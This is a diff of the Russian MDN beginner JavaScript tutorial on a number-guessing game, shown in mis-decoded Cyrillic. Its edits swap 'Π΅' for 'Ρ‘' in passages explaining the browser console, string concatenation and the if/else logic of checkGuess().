-<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ наш ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль JavaScript</a>, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π΅Ρ‘ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ввСсти тСкст ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²Β β€” Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строчку ΠΈΠ· столбца "ΠŸΡ€ΠΈΠΌΠ΅Ρ€", наТимая Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…, ΠΈ посмотритС ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΎΠ½ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚. Если Ρƒ вас Π½Π΅Ρ‚ доступа ΠΊ инструмСнтам Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ консоль, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅:</p>
+<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ наш ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль JavaScript</a>, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π΅Ρ‘ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ввСсти тСкст ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²Β β€” Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строчку ΠΈΠ· столбца "ΠŸΡ€ΠΈΠΌΠ΅Ρ€", наТимая Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…, ΠΈ посмотритС ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΎΠ½ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚. Если Ρƒ вас Π½Π΅Ρ‚ доступа ΠΊ инструмСнтам Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ консоль, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅:</p>
<div class="hidden">
<h6 id="Hidden_code">Hidden code</h6>
@@ -435,7 +435,7 @@ hello;
var greeting = name + hello;
greeting;</pre>
-<p>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ сокращСнныС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ присваивания. НапримСр, Ссли Π²Ρ‹ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ строку ΠΊ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ сокращённыС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ присваивания. НапримСр, Ссли Π²Ρ‹ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ строку ΠΊ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">name += ' says hello!';</pre>
@@ -477,7 +477,7 @@ greeting;</pre>
<h3 id="УсловныС_выраТСния_Conditionals">УсловныС выраТСния (Conditionals)</h3>
-<p>ВСрнСмся ΠΊ нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>checkGuess()</code>, я Π΄ΡƒΠΌΠ°ΡŽ, ΠΌΠΎΠΆΠ½ΠΎ с ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° просто Π²Ρ‹Π²ΠΎΠ΄ΠΈΠ»Π° сообщСниС Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ.Β ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° провСряла сдСлал ΠΈΠ³Ρ€ΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Π»Π°.</p>
+<p>ВСрнёмся ΠΊ нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>checkGuess()</code>, я Π΄ΡƒΠΌΠ°ΡŽ, ΠΌΠΎΠΆΠ½ΠΎ с ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° просто Π²Ρ‹Π²ΠΎΠ΄ΠΈΠ»Π° сообщСниС Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ.Β ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° провСряла сдСлал ΠΈΠ³Ρ€ΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Π»Π°.</p>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, Π·Π°ΠΌΠ΅Π½ΠΈΠΌ Π²Π°ΡˆΡƒ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ<code>checkGuess()</code> Π½Π° эту Π²Π΅Ρ€ΡΠΈΡŽ:</p>
@@ -514,16 +514,16 @@ greeting;</pre>
<p>Как ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° β€” Ρ„Ρƒ! Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ рассмотрим ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» ΠΈ объясним, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚.</p>
<ul>
- <li>ΠŸΠ΅Ρ€Π²Π°Ρ строка (строка ΠΏΠΎΠ΄ Π½ΠΎΠΌΠ΅Ρ€ΠΎΠΌ 2 Π² ΠΊΠΎΠ΄Π΅Β Π²Ρ‹ΡˆΠ΅) ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>userGuess</code> ΠΈ устанавливаСт Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСйчас Π²Π²Π΅Π΄Π΅Π½ΠΎ Π² тСкстовоС ΠΏΠΎΠ»Π΅. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ пропускаСм это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· встроСнный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>Number()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ убСдится, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ являСтся числом.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ сталкиваСмся с нашим ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ условного ΠΊΠΎΠ΄Π° (строки 3–5 Π² ΠΊΠΎΠ΄Π΅ Π²Ρ‹ΡˆΠ΅). Π‘Π»ΠΎΠΊ условного ΠΊΠΎΠ΄Π° позволяСт Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ условиС истинным ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Он Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ это Π½Π΅ Ρ‚Π°ΠΊ. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠ°Ρ Ρ„ΠΎΡ€ΠΌΠ° условного Π±Π»ΠΎΠΊΠ° начинаСтся с ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>if</code>, Π·Π° Π½ΠΈΠΌ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, Π·Π° Π½ΠΈΠΌΠΈ Π΅Ρ‰Π΅ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки. Π’ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки ΠΌΡ‹ добавляСм ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ. Если ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, запускаСтся ΠΊΠΎΠ΄ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобках. Если Π½Π΅Ρ‚, этот ΠΊΠΎΠ΄ пропускаСтся ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части ΠΊΠΎΠ΄Π°. Π’ этом случаС провСряСтся Ρ€Π°Π²Π½Π° Π»ΠΈ пСрСмСнная <code>guessCount</code> числу <code>1</code> (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ являСтся Π»ΠΈ это ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΎΠΉ ΠΈΠ³Ρ€ΠΎΠΊΠ° ΠΈΠ»ΠΈ Π½Π΅Ρ‚):
+ <li>ΠŸΠ΅Ρ€Π²Π°Ρ строка (строка ΠΏΠΎΠ΄ Π½ΠΎΠΌΠ΅Ρ€ΠΎΠΌ 2 Π² ΠΊΠΎΠ΄Π΅Β Π²Ρ‹ΡˆΠ΅) ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>userGuess</code> ΠΈ устанавливаСт Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСйчас Π²Π²Π΅Π΄Π΅Π½ΠΎ Π² тСкстовоС ΠΏΠΎΠ»Π΅. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ пропускаСм это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· встроСнный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>Number()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ убСдится, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ являСтся числом.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ сталкиваСмся с нашим ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ условного ΠΊΠΎΠ΄Π° (строки 3–5 Π² ΠΊΠΎΠ΄Π΅ Π²Ρ‹ΡˆΠ΅). Π‘Π»ΠΎΠΊ условного ΠΊΠΎΠ΄Π° позволяСт Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ условиС истинным ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Он Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ это Π½Π΅ Ρ‚Π°ΠΊ. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠ°Ρ Ρ„ΠΎΡ€ΠΌΠ° условного Π±Π»ΠΎΠΊΠ° начинаСтся с ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>if</code>, Π·Π° Π½ΠΈΠΌ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, Π·Π° Π½ΠΈΠΌΠΈ Π΅Ρ‰Ρ‘ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки. Π’ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки ΠΌΡ‹ добавляСм ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ. Если ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, запускаСтся ΠΊΠΎΠ΄ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобках. Если Π½Π΅Ρ‚, этот ΠΊΠΎΠ΄ пропускаСтся ΠΈ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части ΠΊΠΎΠ΄Π°. Π’ этом случаС провСряСтся Ρ€Π°Π²Π½Π° Π»ΠΈ пСрСмСнная <code>guessCount</code> числу <code>1</code> (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ являСтся Π»ΠΈ это ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΎΠΉ ΠΈΠ³Ρ€ΠΎΠΊΠ° ΠΈΠ»ΠΈ Π½Π΅Ρ‚):
<pre class="brush: js notranslate">guessCount === 1</pre>
Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ с содСрТаниСм "Previous guesses: ". Если Π½Π΅Ρ‚, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅ΠΌ.</li>
<li>Π‘Ρ‚Ρ€ΠΎΠΊΠ° 6 добавляСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>userGuess</code>Β Β Π² ΠΊΠΎΠ½Π΅Ρ† ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Β <code>guesses</code>, плюс пустоС пространство поэтому ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌΠΈ ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ прСдполоТСниями Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π΅Π».</li>
<li>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ (строки 8–24 ) Π΄Π΅Π»Π°Π΅Ρ‚ нСсколько ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ:
<ul>
- <li><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">ΠŸΠ΅Ρ€Π²Π°Ρ конструкция  </span></font>if(){ }</code> провСряСт, совпадаСт Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с <code>randomNumber</code> установлСнному Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части нашСго JavaScript. Если это Ρ‚Π°ΠΊ, ΠΈΠ³Ρ€ΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ догадался, ΠΈ ΠΈΠ³Ρ€Π° Π²Ρ‹ΠΈΠ³Ρ€Π°Π½Π°, поэтому ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ³Ρ€ΠΎΠΊΡƒ ΠΏΠΎΠ·Π΄Ρ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС с приятным Π·Π΅Π»Π΅Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ, ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ содСрТимоС ΠΎΠΊΠ½Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΠ΅ / максимумС ΠΈ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ setGameOver (), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ ΠΌΡ‹ обсудим ΠΏΠΎΠ·ΠΆΠ΅.</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈΒ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ послС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽΒ else if () {}. Π­Ρ‚Π° конструкция провСряСт, являСтся Π»ΠΈ этот ход послСдним Ρ…ΠΎΠ΄ΠΎΠΌΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Если это Ρ‚Π°ΠΊ, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° выполняСт Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Π±Π»ΠΎΠΊΠ΅, Π½ΠΎ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ сообщСниС с тСкстом GAME OVER.</li>
- <li>ПослСдний Π±Π»ΠΎΠΊ, Π² ΠΊΠΎΠ½Ρ†Π΅Β Π½Π°ΡˆΠ΅Π³ΠΎΒ ΠΊΠΎΠ΄Π° (else {}), содСрТит ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΄Π²ΡƒΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… тСстов Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (Ρ‚. Π΅. Π˜Π³Ρ€ΠΎΠΊ Π½Π΅ догадался ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, Π½ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅Ρ‰Π΅Β ΠΎΡΡ‚Π°Π»ΠΈΡΡŒ Β Π΄ΠΎΠ³Π°Π΄ΠΊΠΈ). Π’ этом случаС ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΈΠ³Ρ€ΠΎΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ошибся, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ выполняСм Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ условный тСст, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π±Ρ‹Π»ΠΎ Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ большС или ΠΌΠ΅Π½ΡŒΡˆΠ΅Β ΠΎΡ‚Π²Π΅Ρ‚Π°, показывая Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС.</li>
+ <li><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">ΠŸΠ΅Ρ€Π²Π°Ρ конструкция  </span></font>if(){ }</code> провСряСт, совпадаСт Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с <code>randomNumber</code> установлСнному Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части нашСго JavaScript. Если это Ρ‚Π°ΠΊ, ΠΈΠ³Ρ€ΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ догадался, ΠΈ ΠΈΠ³Ρ€Π° Π²Ρ‹ΠΈΠ³Ρ€Π°Π½Π°, поэтому ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ³Ρ€ΠΎΠΊΡƒ ΠΏΠΎΠ·Π΄Ρ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС с приятным Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ, ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ содСрТимоС ΠΎΠΊΠ½Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΠ΅ / максимумС ΠΈ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ setGameOver (), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ ΠΌΡ‹ обсудим ΠΏΠΎΠ·ΠΆΠ΅.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈΒ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ послС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽΒ else if () {}. Π­Ρ‚Π° конструкция провСряСт, являСтся Π»ΠΈ этот ход послСдним Ρ…ΠΎΠ΄ΠΎΠΌΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Если это Ρ‚Π°ΠΊ, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° выполняСт Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Π±Π»ΠΎΠΊΠ΅, Π½ΠΎ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ сообщСниС с тСкстом GAME OVER.</li>
